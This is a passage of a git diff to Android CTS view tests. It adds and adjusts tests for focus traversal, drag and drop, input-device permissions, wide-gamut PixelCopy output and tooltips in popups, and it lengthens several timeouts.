+++ b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
@@ -42,6 +42,7 @@
import android.view.cts.R;
import org.junit.Before;
+import org.junit.After;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -59,6 +60,7 @@
private Instrumentation mInstrumentation;
private AnimationTestCtsActivity mActivity;
private View mTestView;
+ private int mUserRotation;
Set<Integer> identityHashes = new HashSet<>();
@@ -71,6 +73,12 @@
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mActivity = mActivityRule.getActivity();
mTestView = mActivity.findViewById(R.id.anim_window);
+ mUserRotation = mActivity.getWindowManager().getDefaultDisplay().getRotation();
+ }
+
+ @After
+ public void tearDown() {
+ mInstrumentation.getUiAutomation().setRotation(mUserRotation);
}
private void assertUnique(Object object) {
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
index 6c95e1f..145436b 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerNativeTest.java
@@ -19,6 +19,8 @@
import static org.junit.Assert.fail;
import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.FlakyTest;
+import android.support.test.filters.MediumTest;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
@@ -26,7 +28,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-@SmallTest
+@FlakyTest
@RunWith(AndroidJUnit4.class)
public class ChoreographerNativeTest {
private long mChoreographerPtr;
@@ -49,11 +51,13 @@
}
}
+ @MediumTest
@Test
public void testPostCallbackWithoutDelayEventuallyRunsCallbacks() {
nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks(mChoreographerPtr);
}
+ @SmallTest
@Test
public void testPostCallbackWithDelayEventuallyRunsCallbacks() {
nativeTestPostCallbackWithDelayEventuallyRunsCallbacks(mChoreographerPtr);
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerTest.java b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
index e152d5b..a232b51 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
@@ -82,7 +82,7 @@
// We expect the remaining callbacks to have been invoked once.
verify(addedCallback1, timeout(NOMINAL_VSYNC_PERIOD * 10).times(1)).run();
- verify(addedCallback2, times(1)).run();
+ verify(addedCallback2, timeout(NOMINAL_VSYNC_PERIOD * 10).times(1)).run();
verifyZeroInteractions(removedCallback);
// If we post a callback again, then it should be invoked again.
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index 64c170c..39ae2d3 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -61,6 +61,7 @@
private DragDropActivity mActivity;
+ private CountDownLatch mStartReceived;
private CountDownLatch mEndReceived;
private static boolean equal(ClipDescription d1, ClipDescription d2) {
@@ -141,6 +142,9 @@
}
private void logEvent(View v, DragEvent ev) {
+ if (ev.getAction() == DragEvent.ACTION_DRAG_STARTED) {
+ mStartReceived.countDown();
+ }
if (ev.getAction() == DragEvent.ACTION_DRAG_ENDED) {
mEndReceived.countDown();
}
@@ -277,7 +281,11 @@
@Before
public void setUp() {
mActivity = mActivityRule.getActivity();
+ mStartReceived = new CountDownLatch(1);
mEndReceived = new CountDownLatch(1);
+
+ // Wait for idle
+ mInstrumentation.waitForIdleSync();
}
@After
@@ -315,6 +323,13 @@
assertTrue("Couldn't start drag",
v.startDragAndDrop(createClipData(), new View.DragShadowBuilder(v), null, 0));
});
+
+ try {
+ assertTrue("Timeout while waiting for START event",
+ mStartReceived.await(1, TimeUnit.SECONDS));
+ } catch (InterruptedException e) {
+ fail("Got InterruptedException while waiting for START event");
+ }
}
/**
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index a8015ab..0f2119e 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -94,6 +94,10 @@
verifyNextFocus(null, View.FOCUS_LEFT, mBottomRight);
verifyNextFocus(null, View.FOCUS_UP, mBottomRight);
+ // Check that left/right traversal works when top/bottom borders are equal.
+ verifyNextFocus(mTopRight, View.FOCUS_LEFT, mTopLeft);
+ verifyNextFocus(mBottomLeft, View.FOCUS_RIGHT, mBottomRight);
+
// Edge-case where root has focus
mActivityRule.runOnUiThread(() -> {
mLayout.setFocusableInTouchMode(true);
@@ -245,7 +249,7 @@
assertTrue(nextFocus == mBottomRight || nextFocus == mBottomLeft);
}
- @Test
+ @Test(timeout = 500)
public void testChainVisibility() {
mBottomRight.setNextFocusForwardId(mBottomLeft.getId());
mBottomLeft.setNextFocusForwardId(mTopRight.getId());
@@ -256,6 +260,20 @@
mBottomLeft.setNextFocusForwardId(View.NO_ID);
next = mFocusFinder.findNextFocus(mLayout, mBottomRight, View.FOCUS_FORWARD);
assertSame(mTopLeft, next);
+
+ // This shouldn't go into an infinite loop
+ mBottomRight.setNextFocusForwardId(mTopRight.getId());
+ mTopLeft.setNextFocusForwardId(mTopRight.getId());
+ mTopRight.setNextFocusForwardId(mBottomLeft.getId());
+ mBottomLeft.setNextFocusForwardId(mTopLeft.getId());
+ mActivityRule.getActivity().runOnUiThread(() -> {
+ mTopLeft.setVisibility(View.INVISIBLE);
+ mTopRight.setVisibility(View.INVISIBLE);
+ mBottomLeft.setVisibility(View.INVISIBLE);
+ mBottomRight.setVisibility(View.INVISIBLE);
+ });
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ mFocusFinder.findNextFocus(mLayout, mBottomRight, View.FOCUS_FORWARD);
}
private void verifyNextCluster(View currentCluster, int direction, View expectedNextCluster) {
@@ -386,8 +404,8 @@
FrameLayout layout = new FrameLayout(mLayout.getContext());
Button button1 = new Button(mLayout.getContext());
Button button2 = new Button(mLayout.getContext());
- button1.setLeftTopRightBottom(0, 0, 10, 10);
- button2.setLeftTopRightBottom(0, 0, 10, 10);
+ setViewBox(button1, 0, 0, 10, 10);
+ setViewBox(button2, 0, 0, 10, 10);
layout.addView(button1);
layout.addView(button2);
View[] views = new View[]{button2, button1};
@@ -401,7 +419,7 @@
assertEquals(button2, views[0]);
assertEquals(button1, views[1]);
// make sure it will actually mutate input array.
- button2.setLeftTopRightBottom(20, 0, 30, 10);
+ setViewBox(button2, 20, 0, 30, 10);
FocusFinder.sort(views, 0, 2, layout, false);
assertEquals(button1, views[0]);
assertEquals(button2, views[1]);
@@ -428,4 +446,11 @@
verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mBottomRight);
}
+
+ private void setViewBox(View view, int left, int top, int right, int bottom) {
+ view.setLeft(left);
+ view.setTop(top);
+ view.setRight(right);
+ view.setBottom(bottom);
+ }
}
diff --git a/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
new file mode 100644
index 0000000..9a960e2
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.InputDevice;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link android.view.InputDevice} enable/disable functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceEnabledTest {
+ private InputManager mInputManager;
+ private Instrumentation mInstrumentation;
+
+ @Before
+ public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+ assertNotNull(mInputManager);
+ }
+
+ @Test
+ public void testIsEnabled() {
+ final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+ assertNotNull(inputDeviceIds);
+ for (int inputDeviceId : inputDeviceIds) {
+ final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+ // this function call should not produce an error
+ inputDevice.isEnabled(); // output is not checked
+ }
+ }
+
+ @Test
+ public void testEnableDisableException() {
+ // Check that InputDevice.enable() and InputDevice.disable() throw SecurityException
+ final String failMsgNotThrown = "Expected SecurityException not thrown";
+
+ final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+ for (int inputDeviceId : inputDeviceIds) {
+ final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+
+ try {
+ inputDevice.enable();
+ fail(failMsgNotThrown);
+ } catch (SecurityException e) {
+ // Expect to get this exception
+ }
+
+ try {
+ inputDevice.disable();
+ fail(failMsgNotThrown);
+ } catch (SecurityException e) {
+ // Expect to get this exception
+ }
+ }
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
index cae49c7..e8e764a 100644
--- a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
@@ -27,11 +27,10 @@
import android.view.KeyboardShortcutGroup;
import android.view.KeyboardShortcutInfo;
-import com.google.android.collect.Lists;
-
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.ArrayList;
import java.util.List;
/**
@@ -41,9 +40,14 @@
@RunWith(AndroidJUnit4.class)
public class KeyboardShortcutGroupTest {
private static final CharSequence TEST_LABEL = "Test Group Label";
- private final List<KeyboardShortcutInfo> TEST_ITEMS = Lists.newArrayList(
- new KeyboardShortcutInfo("Item 1", KeyEvent.KEYCODE_U, KeyEvent.META_CTRL_ON),
- new KeyboardShortcutInfo("Item 2", KeyEvent.KEYCODE_F, KeyEvent.META_CTRL_ON));
+ private static final List<KeyboardShortcutInfo> TEST_ITEMS = new ArrayList<>();
+
+ static {
+ TEST_ITEMS.add(new KeyboardShortcutInfo(
+ "Item 1", KeyEvent.KEYCODE_U, KeyEvent.META_CTRL_ON));
+ TEST_ITEMS.add(new KeyboardShortcutInfo(
+ "Item 2", KeyEvent.KEYCODE_F, KeyEvent.META_CTRL_ON));
+ }
@Test
public void testConstructor() {
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 6310ce8..0cbd0ca 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -17,6 +17,7 @@
package android.view.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -24,6 +25,7 @@
import static org.mockito.Mockito.when;
import android.app.Instrumentation;
+import android.content.pm.ActivityInfo;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
import android.graphics.Color;
@@ -36,6 +38,7 @@
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
+import android.util.Half;
import android.util.Log;
import android.view.PixelCopy;
import android.view.Surface;
@@ -52,6 +55,8 @@
import org.junit.runner.RunWith;
import org.junit.runners.model.Statement;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -73,6 +78,11 @@
new ActivityTestRule<>(PixelCopyViewProducerActivity.class, false, false);
@Rule
+ public ActivityTestRule<PixelCopyWideGamutViewProducerActivity>
+ mWideGamutWindowSourceActivityRule = new ActivityTestRule<>(
+ PixelCopyWideGamutViewProducerActivity.class, false, false);
+
+ @Rule
public SurfaceTextureRule mSurfaceRule = new SurfaceTextureRule();
private Instrumentation mInstrumentation;
@@ -231,6 +241,30 @@
Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
}
+ @Test
+ public void testReuseBitmap() {
+ // Since we only sample mid-pixel of each qudrant, filtering
+ // quality isn't tested
+ PixelCopyGLProducerCtsActivity activity = waitForGlProducerActivity();
+ Bitmap bitmap = Bitmap.createBitmap(20, 20, Config.ARGB_8888);
+ int result = mCopyHelper.request(activity.getView(), bitmap);
+ // Make sure nothing messed with the bitmap
+ assertEquals(20, bitmap.getWidth());
+ assertEquals(20, bitmap.getHeight());
+ assertEquals(Config.ARGB_8888, bitmap.getConfig());
+ assertBitmapQuadColor(bitmap,
+ Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+ int generationId = bitmap.getGenerationId();
+ result = mCopyHelper.request(activity.getView(), bitmap);
+ // Make sure nothing messed with the bitmap
+ assertEquals(20, bitmap.getWidth());
+ assertEquals(20, bitmap.getHeight());
+ assertEquals(Config.ARGB_8888, bitmap.getConfig());
+ assertBitmapQuadColor(bitmap,
+ Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+ assertNotEquals(generationId, bitmap.getGenerationId());
+ }
+
private Window waitForWindowProducerActivity() {
PixelCopyViewProducerActivity activity =
mWindowSourceActivityRule.launchActivity(null);
@@ -319,6 +353,125 @@
} while (activity.rotate());
}
+ @Test
+ public void testWindowProducerCopyToRGBA16F() {
+ Window window = waitForWindowProducerActivity();
+ PixelCopyViewProducerActivity activity = mWindowSourceActivityRule.getActivity();
+
+ Bitmap bitmap;
+ do {
+ Rect src = makeWindowRect(0, 0, 100, 100);
+ bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.RGBA_F16);
+ int result = mCopyHelper.request(window, src, bitmap);
+ // On OpenGL ES 2.0 devices a copy to RGBA_F16 can fail because there's
+ // not support for float textures
+ if (result != PixelCopy.ERROR_DESTINATION_INVALID) {
+ assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+ assertEquals(Config.RGBA_F16, bitmap.getConfig());
+ assertBitmapQuadColor(bitmap,
+ Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+ assertBitmapEdgeColor(bitmap, Color.YELLOW);
+ }
+ } while (activity.rotate());
+ }
+
+ private Window waitForWideGamutWindowProducerActivity() {
+ PixelCopyWideGamutViewProducerActivity activity =
+ mWideGamutWindowSourceActivityRule.launchActivity(null);
+ activity.waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+ return activity.getWindow();
+ }
+
+ private Rect makeWideGamutWindowRect(int left, int top, int right, int bottom) {
+ Rect r = new Rect(left, top, right, bottom);
+ mWideGamutWindowSourceActivityRule.getActivity().offsetForContent(r);
+ return r;
+ }
+
+ @Test
+ public void testWideGamutWindowProducerCopyToRGBA8888() {
+ Window window = waitForWideGamutWindowProducerActivity();
+ assertEquals(
+ ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT, window.getAttributes().getColorMode());
+
+ // Early out if the device does not support wide color gamut rendering
+ if (!window.isWideColorGamut()) {
+ return;
+ }
+
+ PixelCopyWideGamutViewProducerActivity activity =
+ mWideGamutWindowSourceActivityRule.getActivity();
+
+ Bitmap bitmap;
+ do {
+ Rect src = makeWideGamutWindowRect(0, 0, 128, 128);
+ bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.ARGB_8888);
+ int result = mCopyHelper.request(window, src, bitmap);
+
+ assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+ assertEquals(Config.ARGB_8888, bitmap.getConfig());
+
+ assertEquals("Top left", Color.RED, bitmap.getPixel(32, 32));
+ assertEquals("Top right", Color.GREEN, bitmap.getPixel(96, 32));
+ assertEquals("Bottom left", Color.BLUE, bitmap.getPixel(32, 96));
+ assertEquals("Bottom right", Color.YELLOW, bitmap.getPixel(96, 96));
+ } while (activity.rotate());
+ }
+
+ @Test
+ public void testWideGamutWindowProducerCopyToRGBA16F() {
+ Window window = waitForWideGamutWindowProducerActivity();
+ assertEquals(
+ ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT, window.getAttributes().getColorMode());
+
+ // Early out if the device does not support wide color gamut rendering
+ if (!window.isWideColorGamut()) {
+ return;
+ }
+
+ PixelCopyWideGamutViewProducerActivity activity =
+ mWideGamutWindowSourceActivityRule.getActivity();
+
+ Bitmap bitmap;
+ int i = 0;
+ do {
+ Rect src = makeWideGamutWindowRect(0, 0, 128, 128);
+ bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.RGBA_F16);
+ int result = mCopyHelper.request(window, src, bitmap);
+
+ assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+ assertEquals(Config.RGBA_F16, bitmap.getConfig());
+
+ ByteBuffer dst = ByteBuffer.allocateDirect(bitmap.getAllocationByteCount());
+ bitmap.copyPixelsToBuffer(dst);
+ dst.rewind();
+ dst.order(ByteOrder.LITTLE_ENDIAN);
+
+ // ProPhoto RGB red in scRGB-nl
+ assertEqualsRgba16f("Top left", bitmap, 32, 32, dst, 1.36f, -0.52f, -0.09f, 1.0f);
+ // ProPhoto RGB green in scRGB-nl
+ assertEqualsRgba16f("Top right", bitmap, 96, 32, dst, -0.87f, 1.10f, -0.43f, 1.0f);
+ // ProPhoto RGB blue in scRGB-nl
+ assertEqualsRgba16f("Bottom left", bitmap, 32, 96, dst, -0.59f, -0.04f, 1.07f, 1.0f);
+ // ProPhoto RGB yellow in scRGB-nl
+ assertEqualsRgba16f("Bottom right", bitmap, 96, 96, dst, 1.12f, 1.00f, -0.44f, 1.0f);
+ } while (activity.rotate());
+ }
+
+ private static void assertEqualsRgba16f(String message, Bitmap bitmap, int x, int y,
+ ByteBuffer dst, float r, float g, float b, float a) {
+ int index = y * bitmap.getRowBytes() + (x << 3);
+ short cR = dst.getShort(index);
+ short cG = dst.getShort(index + 2);
+ short cB = dst.getShort(index + 4);
+ short cA = dst.getShort(index + 6);
+
+ assertEquals(message, r, Half.toFloat(cR), 0.01);
+ assertEquals(message, g, Half.toFloat(cG), 0.01);
+ assertEquals(message, b, Half.toFloat(cB), 0.01);
+ assertEquals(message, a, Half.toFloat(cA), 0.01);
+ }
+
private void runGcAndFinalizersSync() {
final CountDownLatch fence = new CountDownLatch(1);
new Object() {
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
index b7d6c5b..69e1e7f 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
@@ -127,7 +127,7 @@
mCurrentOrientation = (mCurrentOrientation + 1) % ORIENTATIONS.length;
setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
});
- waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+ waitForFirstDrawCompleted(10, TimeUnit.SECONDS);
return mCurrentOrientation != 0;
}
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
new file mode 100644
index 0000000..f697095
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.content.res.AssetManager;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Canvas;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewTreeObserver.OnDrawListener;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static org.junit.Assert.fail;
+
+public class PixelCopyWideGamutViewProducerActivity extends Activity implements OnDrawListener {
+ private static final int[] ORIENTATIONS = {
+ ActivityInfo.SCREEN_ORIENTATION_PORTRAIT,
+ ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE,
+ ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT,
+ ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE,
+ };
+ private int mCurrentOrientation = 0;
+ private View mContent;
+ private Rect mContentBounds = new Rect();
+ private CountDownLatch mFence = new CountDownLatch(3);
+ private boolean mSupportsRotation;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Check if the device supports both of portrait and landscape orientation screens.
+ final PackageManager pm = getPackageManager();
+ mSupportsRotation = pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+ && pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
+ if (mSupportsRotation) {
+ setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
+ }
+
+ mContent = new WideGamutBitmapView(this);
+ setContentView(mContent);
+ mContent.getViewTreeObserver().addOnDrawListener(this);
+ }
+
+ @Override
+ public void onDraw() {
+ final int requestedOrientation = ORIENTATIONS[mCurrentOrientation];
+ boolean screenPortrait =
+ requestedOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+ || requestedOrientation == ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
+ boolean contentPortrait = mContent.getHeight() > mContent.getWidth();
+ if (mSupportsRotation && (screenPortrait != contentPortrait)) {
+ return;
+ }
+ mContent.post(() -> {
+ Point offset = new Point();
+ // We pass mContentBounds here just as a throwaway rect, we don't care about
+ // the visible rect just the global offset.
+ mContent.getGlobalVisibleRect(mContentBounds, offset);
+ mContentBounds.set(offset.x, offset.y,
+ offset.x + mContent.getWidth(), offset.y + mContent.getHeight());
+ mFence.countDown();
+ if (mFence.getCount() > 0) {
+ mContent.invalidate();
+ }
+ });
+ }
+
+ public void waitForFirstDrawCompleted(int timeout, TimeUnit unit) {
+ try {
+ if (!mFence.await(timeout, unit)) {
+ fail("Timeout");
+ }
+ } catch (InterruptedException ex) {
+ fail(ex.getMessage());
+ }
+ }
+
+ public boolean rotate() {
+ if (!mSupportsRotation) {
+ // Do not rotate the screen if it is not supported.
+ return false;
+ }
+ mFence = new CountDownLatch(3);
+ runOnUiThread(() -> {
+ mCurrentOrientation = (mCurrentOrientation + 1) % ORIENTATIONS.length;
+ setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
+ });
+ waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+ return mCurrentOrientation != 0;
+ }
+
+ void offsetForContent(Rect inOut) {
+ inOut.offset(mContentBounds.left, mContentBounds.top);
+ }
+
+ private static final class WideGamutBitmapView extends View {
+ private final Bitmap mBitmap;
+
+ WideGamutBitmapView(Context context) {
+ super(context);
+ // We use an asset to ensure aapt will not mess with the data
+ AssetManager assets = context.getResources().getAssets();
+ try (InputStream in = assets.open("prophoto.png")) {
+ mBitmap = BitmapFactory.decodeStream(in);
+ } catch (IOException e) {
+ throw new RuntimeException("Test failed: ", e);
+ }
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ canvas.drawBitmap(mBitmap, 0.0f, 0.0f, null);
+ }
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java b/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
index cb67b92..100ba9d 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
@@ -16,8 +16,8 @@
package android.view.cts;
-import android.annotation.Nullable;
import android.content.Context;
+import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.widget.LinearLayout;
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
index bb14589..139232f 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
@@ -45,6 +45,7 @@
import android.view.View;
import com.android.compatibility.common.util.CtsMouseUtil.ActionMatcher;
+import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
@@ -228,7 +229,10 @@
// Show a context menu on a widget.
mActivity.registerForContextMenu(mTarget);
- mActivityRule.runOnUiThread(() -> mTarget.showContextMenu(0, 0));
+ // TODO(kaznacheev) replace the below line with a call to showContextMenu once b/65487689
+ // is fixed. Meanwhile, emulate a long press which takes long enough time to avoid the race
+ // condition.
+ CtsTouchUtils.emulateLongPressOnView(mInstrumentation, mTarget, 0, 0);
PollingCheck.waitFor(TIMEOUT_DELTA, () -> !mOuter.hasWindowFocus());
assertPointerCapture(false);
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureView.java b/tests/tests/view/src/android/view/cts/PointerCaptureView.java
index 4af160b..d273977 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureView.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureView.java
@@ -16,8 +16,8 @@
package android.view.cts;
-import android.annotation.Nullable;
import android.content.Context;
+import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.View;
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
index 0f77bd7..2a14a8d 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
@@ -242,7 +242,7 @@
+ " incorrect frames observed - incorrect positioning",
result.failFrames == 0);
float framesPerSecond = 1.0f * result.passFrames
- / TimeUnit.MILLISECONDS.toSeconds(CapturedActivity.CAPTURE_DURATION_MS);
+ / TimeUnit.MILLISECONDS.toSeconds(mActivity.getCaptureDurationMs());
assertTrue("Error, only " + result.passFrames
+ " frames observed, virtual display only capturing at "
+ framesPerSecond + " frames per second",
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
index b909469..63d4d5e 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
@@ -31,7 +31,7 @@
@LargeTest
@RunWith(AndroidJUnit4.class)
public class TextureViewCameraTest {
- private static final long WAIT_TIMEOUT_IN_SECS = 10;
+ private static final long WAIT_TIMEOUT_IN_SECS = 30;
private TextureViewCameraActivity mActivity;
private int mNumberOfCameras;
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 2a5e433..f66e137 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -119,7 +119,7 @@
private int waitForChange(Point point, int color)
throws InterruptedException, TimeoutException {
- for (int i = 0; i < 20; i++) {
+ for (int i = 0; i < 30; i++) {
int pixel = getPixel(point);
if (pixel != color) {
return pixel;
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 2ffe06b..1717763 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -28,12 +28,15 @@
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import android.view.Gravity;
import android.view.InputDevice;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewConfiguration;
import android.view.ViewGroup;
+import android.widget.PopupWindow;
+import android.widget.TextView;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -782,4 +785,22 @@
injectLongHoverMove(parent);
assertTrue(hasTooltip(parent));
}
+
+ @Test
+ public void testTooltipInPopup() throws Throwable {
+ TextView popupContent = new TextView(mActivity);
+
+ mActivityRule.runOnUiThread(() -> {
+ popupContent.setText("Popup view");
+ popupContent.setTooltipText("Tooltip");
+
+ PopupWindow popup = new PopupWindow(popupContent,
+ ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT);
+ popup.showAtLocation(mGroupView, Gravity.CENTER, 0, 0);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ injectLongClick(popupContent);
+ assertTrue(hasTooltip(popupContent));
+ }
}
